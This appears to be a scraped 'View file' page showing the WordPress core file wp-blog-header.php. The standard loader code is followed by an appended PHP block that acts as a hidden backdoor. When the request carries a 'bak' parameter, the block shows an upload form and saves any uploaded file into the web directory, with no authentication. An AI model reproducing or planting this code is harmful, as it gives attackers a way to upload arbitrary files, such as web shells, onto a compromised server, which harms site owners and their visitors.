View file File name : wp-blog-header.php Content :<?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( ! isset( $wp_did_header ) ) { $wp_did_header = true; // Load the WordPress library. require_once __DIR__ . '/wp-load.php'; // Set up the WordPress query. wp(); // Load the theme template. require_once ABSPATH . WPINC . '/template-loader.php'; } <?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>